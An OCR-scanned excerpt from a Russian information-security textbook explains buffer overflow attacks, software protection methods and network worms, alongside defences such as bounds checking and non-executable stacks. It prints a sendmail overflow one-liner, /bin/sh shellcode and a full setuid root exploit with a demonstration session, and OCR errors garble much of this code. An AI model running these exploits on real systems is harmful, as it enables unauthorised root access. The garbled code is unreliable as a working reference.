>echo "vrfy 'perl -е 'print "а" х 1000'"' |пс www.targetsystem.com 25
Поскольку буфер, предназначенный для хранения параметра, имеет размер всего 128 байт, он переполнится. Это может привести к аварийному завершению работы демона sendmail.
Более опасной является ситуация, когда программа, буфер которой переполнился, продолжает работать и выполняет при этом программный код, переданный ей в виде избыточных данных. Вместо того чтобы отправлять бессмысленную строку из тысячи символов, взломщик скорее передаст строку с кодом, который после переполнения буфера выполнит команду /bin/sh. Если sendmail работает с привилегиями суперпользователя, то после запуска команды он сразу же получит доступ в качестве суперпользователя. При переполнении буфера адрес возврата переустанавливается на код, переданный злоумышленником, что позволяет ему получить полный контроль над программой. При этом вместо возврата управления из функции по нужному адресу выполняется код взломщика, передаваемый в этом же пакете данных и запускающий команду /bin/sh. Код будет зависеть от архитектуры используемой "жертвой" ОС: данные, употребляемые для переполнения буфера системы Solaris, установленной на компьютерах с процессорами Intel, отличны от данных, предназначенных для взлома системы Solaris компьютеров SPARC. Код, предназначенный для переполнения буфера на платформе Linux Х86, выглядит следющим образом: char shellcodeO = "\xeb\xlf\x5e\x89\x76\x08\x31\xcO\x88\x46\x07\x89\x46\xOc\xbO\xQb \x89\xf3\x8d\x4e\x08\x8d\x56\xOc\xcd\x80\x31 \xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff xff \х f f/bin/sh";
При программировании на С или Pascal можно столкнуться с ошибками типа "Memory fault - core dumped" или "General Protection Fault". Как правило, они связаны с тем, что программа попыталась получить доступ к не принадлежащей ей области памяти. Это случается, если программист забыл, например, проверить размеры стро
3. Уязвимость открытых систем на примере интренета
259
ки, заносимой в буфер, и остаток строки попал в какие-то другие данные или даже в код. В защищенном режиме программа-монитор или ядро ОС может контролировать попытки доступа к "чужой памяти" и завершать нарушившую правила программу. Одни ОС (как Unix) делают это лучше, другие - хуже (типа Windows), а такие, как MS DOS, не умеют ничего подобного и "зависают".
В основе названных атак лежит принцип функционирования ОС, когда программа получает привилегии и права запустившего ее пользователя или процесса. Таким образом, менее привилегированные пользователь или процесс, которые взаимодействуют с данной программой, могут употребить ее права в своих целях. Штатные средства ПО не позволяют выполнять такие действия. Однако переполнение буфера все же делает это возможным. Использование данной уязвимости подразумевает изменение хода выполнения привилегированной программы, например запуск командной оболочки с правами администратора.
Реализации атаки требует решения двух подзадач [58]:
	подготовки кода, который будет выполняться в контексте привилегированной программы;
	изменения последовательности выполнения программы с передачей управления подготовленному коду.
Методы решения этих двух подзадач могут служить основой классификации атак, связанных с переполнением буфера (табл. 3).
Таблица 3. Атаки с переполнением буфера
Цель переполнения	Подготовка кода		
	Внедрение кода	Внедрение параметров	Код есть в адресном пространстве программы
Искажение адреса возврата из функции	Атака "срыв стека"	Атака "срыв стека" с параметризацией	Атака "срыв стека" с передачей управления
Искажение указателей функций	Атака на указатели функций	Атака на указатели функций с параметризацией	Атака на указатели функций с передачей управления
Искажение таблиц переходов	Атака на таблицы переходов	Атака на таблицы переходов с параметризацией	Атака на таблицы переходов с передачей управления
Искажение указателей данных	Атака с искажением указателей данных	Атака с искажением указателей данных с параметризацией	Атака с искажением указателей данных с оригинальным кодом
Пути решения задачи подготовки кода могут быть разными.
1.	Подготавливаемый код представляет собой исполняемые машинные инструкции соответствующего процессора и может передаваться в программу в качестве ее параметра или команды. При этом параметр или команда сохраняется программой в отведенном для этого буфере. Буфер может находиться в любой области памяти: в стеке, в динамически распределяемой памяти, в области статических данных. Например, программе, запрашивающей ввод строки, под видом строки может быть передан нужный атакующему код, которому в дальнейшем будет передано управление.
2.	Нужный код не передается в программу, так как он уже присутствует в ней самой или в ее адресном пространстве и требуется лишь его параметризация. Например, подготовка параметра для функции запуска программы. В данном случае ата
260
Информационная безопасность открытых систем
кующему требуется изменить или сформировать нужный параметр (для нашего примера указатель на строку с названием программы), а не сам код. Параметр также может находиться в любой области памяти.
3.	Если параметр из ированный код уже присутствует в адресном пространстве программы, то подготовки кода не требуется.
Типы искажаемых объектов-переменных определяются способом передачи управления коду атакующего и могут быть следующими.
1.	Искажение адреса возврата из функции. Так как вызову функции сопутствует занесение адреса возврата в стек, то при его подмене атакующим управление передается по заданному им адресу. Здесь используется' переполнение буфера локальных переменных функции, которые также создаются в стеке. Простым примером служит следующий фрагмент программы на С:
int namelen (void)
{
char name[21J;
gets(name);
return strlen(name);
}
При вводе имени размером более 20 символов частью строки будет замещен адрес возврата из функции. Далее при выполнении инструкции возврата из подпрограммы управление будет передано по адресу, который образуют соответствующие позиции введенной строки и в обычной ситуации будет получено сообщение об ошибке ОС. Такие атаки на переполнение буфера получили название атаки срыва стека (stack smashing attack).
2.	Искажение указателя функции. В данном случае атаке подвергаются переменные, содержащие указатели на функции. Эти переменные могут располагаться в любой области памяти, не только в стеке, но и в области динамически или статически выделяемых данных. Атакующий организовывает переполнение буфера, которое искажает данные указатели, и далее при вызове функций по этим указателям управление передается подготовленному коду. Приведем пример уязвимости указателей в виде следующего фрагмента программы на С.
void dummy(void)
{
printf ("Hello world!\n”);
}
int main(int argc, char **argv)
{
void (*dummyptr)();
char buffer[100];
dummyptr=dummy;
strcpy(buffer, argv[1]); //Уязвимость
(*dummyptr)();
}
Здесь переполнение буфера buffer приводит к подмене указателя dummyptr и последующему изменению хода выполнения программы.
3.	Искажение таблиц переходов. В результате компиляции часто создаются так называемые таблицы переходов, которые могут использоваться в целях оптимиза
3. Уязвимость открытых систем на примере интранета
261
ции, динамического связывания кода, обработки исключений и т. п. Искажение таких таблиц, вызванное переполнением буфера, позволяет передать управление подготовленному коду.
4.	Искажение указателей данных. Данный способ не предусматривает явной передачи управления подготовленному коду, но предполагает, что передача происходит на основании оригинального алгоритма программы. Другими словами, подготовленный код запускается в ходе обычной, не искаженной последовательности исполнения программы.
Рассмотрим следующий фрагмент программы на С:
foo(char * arg)
{
char * р = arg; // уязвимый указатель
char а[40]; // переполняемый буфер
gets(a); // применение gets() реализует уязвимость
gets(p); // искажение кода
I
Здесь переполнение буфера вызывает подмену указателя р и последующую запись строки по адресу искаженного указателя. Вводимая строка содержит код атакующего. Такая схема атаки часто используется для корректировки части кода программы или кода динамических и статических библиотек, располагающихся в памяти по фиксированным адресам. Например, корректировка-подмена системных функций выхода из программы или запуска процесса.
Для более подробного рассмотрения механизма атаки возьмем программу под названием rabbit.c.
include <stdio.h>
include <string.h> void process(char‘str) {
char buffer[256];
strcpyfbuffer, str);
printf("flnnHa строки = %d\n", strlen(buffer));
return;
}
void main(int argc, char‘argv[])
{
if (argc == 2)
process(argv[1]);
else
printff'Usage: %s some_ string\n“, argv[0]);
)
Во фрагменте программы функция принимает строку как один из нескольких аргументов, имеет локальный буфер ограниченного размера и использует вызовы типа strcpyQ или sprintf(). Как происходит вызов функции process()? Стек (будем считать, что он растет вверх) перед вызовом функции выглядит следующим образом (рис. 33).
262	Информационная безопасность открытых систем
Параметры функции передаются через стек - туда заносятся указатели на параметры или сами параметры (в нашем случае это один указатель на строку), а вызванная функция извлекает их оттуда. Этим занимается код, сгенерированный компилятором; программист не принимает участия в этом процессе. После того как параметры занесены в стек, а процессор встречает инструкцию вызова функции, он заносит в стек некоторую информацию о текущем состоянии - как правило, это смещение следующей команды после команды вызова. Таким образом, функция, завершив свою работу, будет знать адрес возврата управления. В результате во время выполнения первой строки функции стек имеет следующий вид (рис. 34).
* X *	(область младших адресов) Указатель верхушки стека Использованная часть стека (область старших адресов)
			
	
	
	
	
* * *	
Рис. 33. Начальный стек
* * *	(область младших адресов)
RETADR PARAMS	«— Указатель верхушки стека «— Адрес возврата «— Параметры функции
	
	
	Использованная часть стека
	
	
* * *	(область старших адресов)
Рис. 34. Первый промежуточный стек
Далее функции надо запомнить указатель на текущую верхушку стека (ВР), который будет использоваться в ссыпке на параметры. Поэтому независимо от архитек
туры выполняются следующие две инструкции:
push bp
mov bp.sp
Теперь в верхушке стека лежит предыдущее значение регистра ВР, а сам он указывает на верхушку стека и может быть использован в качестве базового регистра при ссылке на параметры.
В программе был объявлен размер буфера в 256 байт. Поскольку не использовались функции malloc() или new для выделения требуемого объема памяти и не указывался модификатор static, этот буфер будет зарезервиро-
(область младших адресов)
Использованная часть стека
(область старших адресов)
Указатель верхушки стека
Начало зарезервированного буфера
•«— Конец буфера
*— Старое значение регистра ВР
Адрес возврата
Параметры функции
ван в стеке. После всех этих операций рис з$_ Второй промежуточный стек стек имеет следующий вид (рис. 35).
Программа работает нормально, пока не осуществляется вызов функции strcpyQ. Если длина строки меньше или равна длине буфера, то функция отработает, освободит зарезервированное пространство, восстановит регистр ВР и, наконец, вернет
управление программе, которая очистит стек от переданных параметров. Если длина строки будет больше размера буфера, то, поскольку strcpyQ копирует все символы, пока не встретит код конца строки — "О", часть строки затрет верхнюю часть стека и,
3. Уязвимость открытых систем на примере интранета
263
естественно, может испортить поле RETADR. Это станет заметно не сразу, а после вызова retum(). Управление будет передано по адресу, который хранится в поле RETADR, но поскольку адрес испорчен, программа будет продолжать выполняться в
некой точке адресного пространства, отличающейся от точки вызова. В этом месте и
возникнет исключительная ситуация и программа будет аварийно прервана, посколь-
ку маловероятно, чтобы адрес возврата указывал на какой-то осмысленной код, причем находящийся в области памяти данной программы.
Такое оказывается возможным, если кто-то специально хотел вызвать подобную ситуацию. В качестве аргумента функции передается строка специально подобранной длины, так, чтобы она содержала некоторый машинный код, причем при затирании верхушки стека в поле RETADR попадал адрес именно этого кода. После отработки функции retum() управление получит новый фрагмент, что совсем не предусматривалось автором программы. Этот фрагмент и сможет выполнить произвольную операцию, обращаясь к сервису ОС.
Стек после вызова strcpyQ будет иметь следующий вид (рис. 36).
(область младших адресов)
	*— Указатель верхушки стека
Машинный код хакера
« Старое значение регистра ВР (испорченное, но это уже неважно)
	•—Адрес возврата (исправленный)
	«— Параметры функции
Использованная часть стека
(область старших адресов)
Рис. 36. Финальный стек
Создается такой машинный код поэтапно. Во-первых, стоит выяснить примерный адрес верхушки стека на данном ПК при вызове функций, чтобы корректно сформировать адрес возврата, который попадет в поле RETADR. Как правило, это делается программой exploit с помощью вызова пустой функции, возвращающей в качестве параметра значение верхушки стека. Во-вторых, фрагмент должен быть написан таким образом, чтобы не содержать символ "О", который будет расценен как конец строки, - этим символом код будет заканчиваться. При копировании он попадет в область параметров, но главное - управление будет передано на чужеродный фрагмент. В-третьих, точно должны быть рассчитаны размеры буфера; чтобы все попало в нужные места и не вызвало состояние core dump, должны быть учтены размеры других переменных, стоящих между буфером и RETADR. И наконец, в-четвертых, взломщик должен уметь вызывать функции ОС.
Для программистов выработан ряд методик и указаний по написанию программ, не содержащих уязвимостей. Сформированы рекомендации по исправлению уже существующих программ (например, замена уязвимых функций: strcpy, spritnf - на их аналоги stmcpy, snprintf, в параметры которых входит размер строки). Существуют гибкие средства, автоматически выполняющие действия, имитирующие переполнение буфера на этапе отладки программы. Также следует упомянуть об утилитах автоматического поиска уязвимостей в исходном коде программы. Указанные методы и средства позволяют создавать более защищенные программы, но не решают проблему в принципе, а лишь минимизируют число уязвимостей по переполнению буфера. К недостаткам следует отнести и то, что данный подход ориентирован непосредственно на разработчиков ПО и не является инструментом конечного пользователя.
264
Информационная безопасность открытых систем
В качестве противодействия атакам типа "переполнение буфера" можно применять следующее.
1.	Использование неисполнимых буферов. Суть метода заключается в запрещении исполнения кода в сегментах данных и стека, т. е. параметры сегментов данных и стека содержат только атрибуты записи и чтения, но не исполнения. Например, для реализации неисполняемого стека существуют "заплаты" для ОС Solaris и Linux. Однако ограничение на исполнение данных приводит к проблеме несовместимости. Исполняемый стек необходим для работы многим программам, так как на его основе генерируется код компиляторами, реализуются системные функции ОС, реализуется автоматическая генерация кода. Защита с использованием неисполнимых буферов предотвратит только атаки с внедрением кода, но не поможет при других видах атак.
2.	Применение проверок выхода за границы при каждом обращении к ней. Это предотвращает все возможные атаки по переполнению буфера, так как полностью исключает само переполнение. Проверки выхода за границы переменной опционально реализованы в некоторых компиляторах С, например Compaq С, в Tru64 Unix, в Alpha Linux. Следует отметить, что реализованные проверки ограничены только точными ссылками на элементы массивов, но не производятся для указателей. Существует также "заплата" для gcc, которая позволяет компилировать программы с полностью реализованной (включая проверку указателей) проверкой выхода за границы массивов. Однако у этого решения есть существенный недостаток - значительное (до 30 раз) снижение производительности программы. Другие системы осуществляют проверки при доступе к памяти, выполняя вставки дополнительного объектного кода проверок во все места программы, где есть обращения к памяти. Вставки могут производиться как до сборки объектных файлов, так и после. Такие проверки сказываются на производительности с ее уменьшением от 2 до 5 раз и скорее подходят для отладки.
3.	Применение проверок целостности данных и самого Г1О.
4.	Проверка всех аргументов, получаемых от пользователя или от какой-либо программы. Особое внимание необходимо уделять принадлежности используемых значений корректным диапазонам, особенно для переменных окружения. Хотя это и замедлит работу некоторых приложений, но за безопасность нужно платить.
5.	Использование безопасных процедур, таких, как fget(), strncpyQ и strncatQ, и проверка кодов возврата системных вызовов.
6.	Уменьшение числа кодов, запускаемых с привилегиями root, или минимизация применения программ, требующих прав SUID-супер-пользователя. Если злоумышленнику все же удастся успешно применить к такой программе атаку, то ему все равно придется повышать полученные привилегии до уровня root.
7.	Тестирование и аудит каждой программы.
8.	Постоянная установка модулей обновлений, предоставляемых поставщиками ПО.
Насколько реальна опасность атаки? Программа не обращается к системным ресурсам. К стеку обращается программа пользователя, причем не к системному стеку, а к своему. Кроме того, нужно еще найти ОС, которая проверяет, затирает ли записываемая в стек строка его верхушку. Это дело программиста и/или компилятора. На уровне ОС это невозможно детектировать, так как нарушения защиты не происхо
3. Уязвимость открытых систем на примере интранета
265
дит- программа не выходит за пределы стека или сегмента. Таким образом, атака работает везде, где:
	есть стек;
	имеется возможность осуществления системных вызовов;
	адрес возврата из процедуры кладется в стек;
	локальные переменные размещаются в стеке;
	возможно выполнение кода, находящегося в стеке;
	существуют программы, выполняемые в режиме суперпользователя и доступные обычному пользователю, и/или демоны, содержащие ошибки.
Как известно, этим требованиям удовлетворяют практически все ОС, именно поэтому проблема является столь глобальной.
Еще ряд примеров подобного вида атак. В программе relist из BSD в одном из вызовов отсутствовала проверка на размер параметра, передаваемого из командной строки. Rdist - это программа, обслуживающая идентичные копии файлов для работы с ними с многочисленных хостов. Она по возможности сохраняет владельца, группу, режим и mtime для файлов и может обновлять исполняемые программы. Эта программа выдает сообщение об ошибках, основываясь на написанной пользователем строке, без проверки границ используемого буфера. Буфер находится в стеке и поэтому может быть задействован для выполнения произвольных команд. Такое случается, если пробовать заложить в буфер большее количество данных, чем он может вместить. Это возникает из-за несоответствия в скоростях обработки для процессов создания и извлечения или потому, что буфер просто слишком мал, чтобы вмешать все данные, которые должны накопиться прежде, чем какая-то их часть сможет быть обработана. Существует программа, которая формирует требуемый код и вызывает /usr/bin/rdist, передавая этот код в качестве параметра. Поскольку rdist выполняется с привилегиями суперпользователя (setuid bit), переданный код также выполнялся с привилегиями root и в распоряжении взломщика оказывался shell с правами root [59-62].
В качестве примера ошибочной программы можно привести следующую: struct namelist * lookupfname, action, value)
char ‘name;
int action;
struct namelist ‘value;
{
register unsigned n;
register char ‘cp;
register struct syment ‘s;
char but[256];
if (action != INSERT ||
s->s_type != CONST)
{
(void)sprintf(buf, "%s redefined”, name);
yyerror(buf);
Проблема в том, что в buf фактически заносится аргумент из командной строки, длина которого не проверяется. Для исправления ситуации достаточно добавить еле-
266	Информационная безопасность открытых систем
дующий небольшой фрагмент (вместо printf полезно добавить запись в файл отчета информации о происшедшем с указанием имени пользователя, вызвавшего relist):
if (action != INSERT ||
s->s_type != CONST)
(
if (strien(name) > 240)
{
printffThe something going on...\n");
exit(1);
}
(void)sprintf(buf, "%s redefined", name);
Рассмотрим следующую команду, выполняемую локальным пользователем с bin-привилегиями:
# rdist -d Teststring -d Teststring rdist:
line 1: Teststring redefined distfile:
Ho sueb ffie от directory #
Используя libC/Inside, получим следующий листинг:
libC/lnside Shared Library Tracing. V1.0 (Solaris 2.5).
Copyright (C) 1996, Electris Software Limited, All Rights Reserved.
Tracing started Thu May 9 00:04:191996
Pid is 18738
Log file is /tmp/lnside.
18738 Log file descriptor is 3
uid=2(bin) gid=2(bin) euid=0(root) groups=2(bin),3(sys)
Program is rdist
_start+0x30->atexit(call_fini)
return(O)
_start+0x3c->atexit(_fini)
retum(O)
main+0x28->getuid()
retum(2)
main+0x38->seteuid(2)
return(O)
main+0x5c->getuid()
retum(2)
main+0x64->getpwuid(2)
retum((pw_name="bin", pw_passwd="x", pw_uid=2, pw_gid=2, pw_age=“", \
pw_comment='"', pw_gecos="”, pw_dir=7usr/bin", pw_shell=""))
main+OxbO->strcpy(user, “bin”)
retumC'bin")
main+0xc4->strcpy(homedir, 7usr/bin“)
retum(7usr/bin")
main+0xd4->gethostname(host, 32)
retum(O)
(Arg 0 = "legless")
main+0x10c->strcmp("-d", “-Server")
retum(17)
define+0x30->strchr("TestString", '=')
retum((null))
Iookup+0x11 c->malloc(16)
3. Уязвимость открытых систем на примере интранета
267
retum(0x33220)
main+0x1 Oc->strcmp("-d", "-Server")
retum(17)
define+0x30->strchr("TestString", '=')
retum((null))
lookup+0x88->strcmp("TestString", "Teststring")
retum(O)
Iookup+0xcc->sprintf(0xeffff8a8, "%s redefined", “TestString")
retum(20)
(Arg 0 = "TestString redefined")
yyerror+Ox1 c->f f I u sh(stdout)
retum(O)
Iookup+0xd4->fprintf(stderr, "rdist: line %d: %s\n", 1, \ "TestString redefined")
retum(36)
main+Ox444->mktemp("/tmp/rdistXXXXXX")
retum(7tmp/rdista004_m")
main+0x4d8->fopen("distfile", "r")
retum((null))
main+0x4fc->fopen("Distfile", T)
return((null))
main+0x560->perror("distfile“)
returnf)
main+0x568->exit(1)
Строка "lookup+Oxcc..." копирует строку, переводящую к адресу в стеке. Rdist не проверяет длину этой строки, поэтому очень большая строка попадает в стек. Более современные версии rdist позволяют избежать описанной проблемы.
В одной из версий POP-сервера проверка длины строки присутствовала, но не была до конца корректной - не отлавливалось переполнение при вызове sprintf(). Была написана программа взлома, которая соединялась со 110-м портом (рорЗ-сервис) и передавала ему сформированный код, после чего рор-сервер сообщал о неверной команде sprintf() и "вываливался" в shell после retum(), причем с правами суперпользователя root. В таком случае взломщику не требовалось даже иметь свой раздел на ПК. Вирус Морриса использовал аналогичную неточность в широко распространенной программе finger.
Программы, написанные под X Window, как правило, передают параметр "-display <displayname>" на обработку Х-библиотеке. В XFree86 размеры displayname не проверяются и код для получения root-привилегий доступен через /usr/Xl 1 R6/bin/xterm. Но еще хуже, что код Xlib используется практически во всех Х-программах.
Можно предложить два варианта защиты от ошибок класса buffer-overflow exploits.
Вариант первый. Если доступны исходные тексты, то в программах, выполняющихся с привилегиями суперпользователя (root setuid-программы; программы, вызывающиеся из inetd и т. д.), надо отыскать все вызовы функций strcpy, gets, sprintf, а возможно, и других функций работы со строками, и проверить, не используются ли при этом локальные буферы фиксированной длины. Можно еще поискать константы типа BUFSIZ, PATH MAX и др. Проанализировав текст, рекомендуется выполнить следующие действия:
	добавить проверки на длину строки;
268
Информационная безопасность открытых систем
	заменить strcpy, gets, sprintf etc на их аналоги для фиксированной длины - strncpy, snprintf, fgets;
	вместо фиксированных буферов использовать динамическое выделение памяти.
Вариант второй. Если исходных текстов нет, необходимо написать сценарий, который пытается вызвать проверяемую программу, используя различные параметры достаточно большой длины. Например, строка для проверки команды xterm может выглядеть так:
/usr/bin/X11 R6/xterm -display 'perl "{print “A" x 5000;}"':0
В качестве параметра формируется строка длиной 5 тыс. символов (как показывает практика, программисты часто используют константы BUFSIZ, FILENAME MAX и т. д., определенные в /usr/include, а они обычно не превышают 2048 байт). Изменяя число в строке и/или анализируя исходные тексты, можно уточнить размер буфера в программе. Если результатом выполнения этой команды будет фраза типа "Memory fault, core dump saved", то это означает, что имеется достаточно причин, чтобы:
	снять setuid bit с программы или запретить ее выполнение всем, кроме суперпользователя или ограниченной группы доверенных лиц;
	найти автора программы;
	попытаться самостоятельно исправить программу.
Часто трудно избежать полного анализа текста программы, ведь никто не мешает автору применять следующую конструкцию:
for (char ‘temp = buffer; ‘buffer; buffer++) *temp++ = ‘buffer;
А результат получится тот же, как если бы воспользоваться стандартной функцией strcpy(). Кроме того, метод передачи exploit-кода в программу может быть достаточно сложным. Например, для того чтобы воспользоваться "дыркой" в sendmail версии ниже чем 8.7.5, код передается в GECOS-поле, которое в семействе ОС BSD пользователь может менять с помощью программ chfn, chsh и chpass.
Пример реальной программы, реализующей описанные выше возможности по получению root-привилегий, таков:
ffinclude <stdio.h> include <stdlib.h> tfdefine DEFAULT OFFSET 50 tfdefine BUFFER_SIZE 256 tfdefine SKIP_VARS 4 Г Получить указатель на стек */ long get_esp(void)
{
_asm_(“movl %esp,%eax\n");
}
void main()
{
char ‘buff = NULL;
char *ptr= NULL;
inti;
Г Данный фрагмент выполняет вызов /bin/sh 7
char execshellf] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07"
'\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xcO\xbO\x3b"
3. Уязвимость открытых систем на примера интранета
269
"\x8d\x4e\x0b\x89\xca\x52\x51 \x53\x50\xeb\x 18\xe8\xd8"
"Wf\xff\xff/bin/sh\x01\x01\x01\x01\x02\x02\x02\x02“ "\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
/‘ Выделяем память */
buff = malloc(BUFFER_SIZE+16);
if(lbutf)
{
perror("Can“t allocate memory");
exit(O);
}
ptr = buff;
Г Заполняем начало строки кодами команды NOP ("нет операции") */
for (i=0; i < BUFFER_SIZE-strlen(execshell); i++)
*(ptr++) = 0x90;
/* Теперь копируем в строку машинный код 7
for (i=0; i < strien(execshell); i++)
*(ptr++) = execshell[i];
/* Пропускаем все, что лежит между буфером и адресом возврата 7
for (i=0; i < SKIP-VARS; i++)
*(ptr++) = 0x90;
I* Записываем адрес возврата 7
‘(long *)ptr = get_esp() + DEFAULT-OFFSET;
ptr += 4;
Г Завершающий 0 7
*ptr = 0;
/‘ Вызов программы co сформированной строкой в качестве аргумента 7 printf(,,%s\n'1, buff);
execl("./rabbit“, “rabbit", buff, NULL);
I
Пример компиляции и выполнения:
#id
uid=0(root) gid=0(wheel)
#	gcc -o rabbit rabbit.c
#	chmod u+s rabbit
#	Is -I rabbit - Итак, rabbit-root-setuid
-rwsr-xr-x 1 root wheel 12288 Jan 1 00:01 rabbit
#	su user
$ id
uid=200 (user), group = 200 (users) - Я - обычный пользователь
$ ./rabbit test Длина строки = 4 $ дсс -о exploit exploit.c $ ./exploit Длина строки = 264 #id	- Программа работает нормально... - Подготавливаемся... - Запускаем exploit, а тот запускает rabbit
uid=200(root) gid=200(users) euid=0(root) - Права суперпользователя получены!
Рекомендации администратору системы по защите могут быть следующими: подписаться на такие списки рассылки, посвященные Unix security, как Bugtraq, BoS, WDL; на стандартные уведомления CERT (Computer Emergency Response Team, http://www.cert.org), из которых можно оперативно узнать о проблеме и закрыть от-
270
Информационная безопасность открытых систем
крывшуюся лазейку в системе. Более подробную информацию о списках рассылки по компьютерной безопасности можно получить также по адресу http://www.tversu.ac.ru/ wdl/maillist.html.
И конечно же, для того чтобы обнаружить атаку, стоит периодически анализировать информацию, которую записывают программы в стандартные файлы отчетов (например, /var/log/messages). Имеется большое количество программ, помогающих администратору следить за его сетью и выполнять заданные ежедневные проверки.
Переполнение буфера часто прячется с помощью кодирования и других приемов. Простой пример: http://host/cgi-bin/helloworld?type=AA..AAA (256 раз). В этом примере хакер посылает множество "А" в приложение и проверяет его на переполнение буфера. Переполнение буфера может позволить хакеру удаленный запуск команд. Если приложение имеет права root, это может дать полный доступ к системе. Вариантов, как может выглядеть переполнение буфера, великое множество. Регулярно проверяйте логи. Если обнаружены очень длинные запросы, а для узла характерны короткие, вероятно, это была попытка хакера вызвать переполнение буфера или атака компьютера новой разновидностью Интернет-червя.
Выше были рассмотрены уязвимости и способы защиты ПО, связанные с переполнением буфера. Но рассмотрение вопросов защиты ПО было бы не полным без указания и других средств, предназначенных для устранения угроз, перечисленных в начале параграфа.
Существующие системы защиты ПО можно классифицировать по ряду признаков, среди которых можно выделить метод установки, используемые механизмы защиты и принцип функционирования.
Системы защиты ПО по методу установки можно подразделить на три типа [63].
1.	Системы, устанавливаемые на скомпилированные модули ПО. Они наиболее удобны для производителя ПО, так как легко можно защитить уже полностью готовое и оттестированное ПО (обычно процесс установки защиты максимально автоматизирован и сводится к указанию имени защищаемого файла и нажатию Enter), а потому и наиболее популярны. В то же время стойкость этих систем достаточно низка (в зависимости от принципа действия системы защиты), так как для обхода защиты достаточно определить точку завершения работы "конверта" защиты и передачи управления защищенной программе, а затем принудительно ее сохранить в незащищенном виде.
2.	Системы, встраиваемые в исходный код ПО до компиляции. Они неудобны для производителя ПО, так как возникает необходимость обучать персонал работе с программным интерфейсом API системы защиты. Кроме того, усложняется процесс тестирования ПО и снижается его надежность, так как, кроме самого ПО, ошибки может содержать API системы защиты или процедуры, его использующие. Но такие системы являются более стойкими к атакам, потому что здесь исчезает четкая граница между системой защиты и как таковым ПО.
3.	Комбинированные системы. Они наиболее стойки. Сохраняя достоинства и недостатки систем второго типа, они максимально затрудняют анализ и дезактивацию своих алгоритмов.
По используемым механизмам защиты СЗ можно классифицировать также на три вида.
3. Уязвимость открытых систем на примере интранета
271
1.	Системы, использующие сложные логические механизмы, ориентированные на затруднение дизассемблирования, отладки и анализа алгоритма защиты и защищаемого ПО. Этот тип систем наименее стоек к атакам, так как для преодоления защиты достаточно проанализировать логику процедур проверки и должным образом их модифицировать.
2.	Системы, использующие шифрование защищаемого ПО. Более стойки, чем первый вид. Для дезактивации таких защит необходимо определение ключа для расшифровки ПО.
3.	Комбинированные системы как самые стойкие к атакам.
Для защиты ПО используется ряд методов, таких, как:
	алгоритмы запутывания — используются хаотические переходы в разные части кода, внедряют ложные процедуры - "пустышки", холостые циклы, искажают количество реальных параметров процедур ПО, разбрасывают участки кода по разным областям ОЗУ и т. п.;
	алгоритмы мутации - создаются таблицы соответствия операндов-синонимов и заменяют их друг на друга при каждом запуске программы по определенной схеме или случайным образом, также вносят случайные изменения в структуру программы;
	алгоритмы компрессии данных - с их помощью программа упаковывается, а затем распаковывается по мере выполнения;
	алгоритмы шифрования данных - программа шифруется, а затем расшифровывается по мере выполнения;
	вычисление сложных математических выражений в процессе отработки механизма защиты - элементы логики защиты зависят от результата вычисления значения какой-либо формулы или группы формул;
	методы затруднения дизассемблирования - используются различные приемы, направленные на предотвращение дизассемблирования в пакетном режиме;
	методы затруднения отладки - применяются различные приемы, направленные на усложнение отладки программы;
	эмуляция процессоров и ОС - создается виртуальный процессор и/или ОС (не обязательно реально существующие) и программа-переводчик из системы команд IBM в систему команд созданного процессора или ОС; после такого перевода ПО может выполняться только при помощи эмулятора, что резко затрудняет исследование алгоритма ПО;
	нестандартные методы работы с АО - модули системы защиты обращаются к аппаратуре ЭВМ минуя процедуры ОС и используют малоизвестные или недокументированные ее возможности.
В свою очередь, злоумышленники также применяют ряд методов и средств для нарушения систем защиты (СЗ) (по принципу функционирования средства защиты ПО можно подразделить на упаковщики/шифраторы, СЗ от несанкционированного копирования и СЗ от НСД; они рассмотрены во второй части учебника). Ситуация противостояния разработчиков СЗ ПО и злоумышленников постоянно изменяется за счет комбинирования уже известных методов защиты и нападения, а также за счет создания и использования новых методов. В целом это взаимодействие может быть описано схематично (рис. 37).
272
Информационная безопасность открытых систем
Рис. 37. Схема противодействия технических методов и средств
3.7. Сетевые вирусы
Существуют сетевые вирусы - самостоятельно размножающиеся и распространяющиеся злонамеренные программные продукты [64] . Они могут затронуть как сетевую и системную информацию, так и информацию пользователей в интранете. К сетевым относятся вирусы, которые для своего распространения активно используют протоколы и возможности локальных и глобальных сетей. Основным принципом их работы является возможность самостоятельно передать свой код на удаленный сервер или рабочую станцию. "Полноценные" сетевые вирусы при этом обладают еще и возможностью запустить на выполнение свой код на удаленном компьютере или по крайней мере "подтолкнуть" пользователя к запуску зараженного файла.
Сетевые вирусы требуют подготовки программного продукта, использующего, как правило, далеко не тривиальные и не очевидные способы атаки на Интернет-узлы. Написать сетевой вирус может только высококвалифицированный специалист, обладающий незаурядными познаниями в сетевой архитектуре и низкоуровневом программировании. Как правило, специалисты такого плана имеют гораздо более привлекательные способы выражения своего таланта, чем написание вредоносных программ, но тем не менее иногда зло, умноженное на программистский гений, вырывается наружу.
3. Уязвимость открытых систем на примере интранета
273
Наибольшую известность приобрели сетевые вирусы конца 1980-х гг., их также называют сетевыми червями (worms). К ним относятся вирус Морриса, вирусы Christmas Tree и Wank Worm&. Для своего распространения они использовали ошибки и недокументированные функции глобальных сетей того времени - вирусы передавали свои копии с сервера на сервер и запускали их на выполнение.
В случае с вирусом Морриса эпидемия захватила несколько глобальных сетей в США. Эти сетевые вирусы распространялись в компьютерной сети и, как правило, не изменяли файлы или секторы на дисках. Они проникали в память компьютера из компьютерной сети, вычисляли сетевые адреса других компьютеров и рассылали по этим адресам свои копии. Эти вирусы иногда также создавали рабочие файлы на дисках системы, но могли вообще не обращаться к ресурсам компьютера (за исключением оперативной памяти).
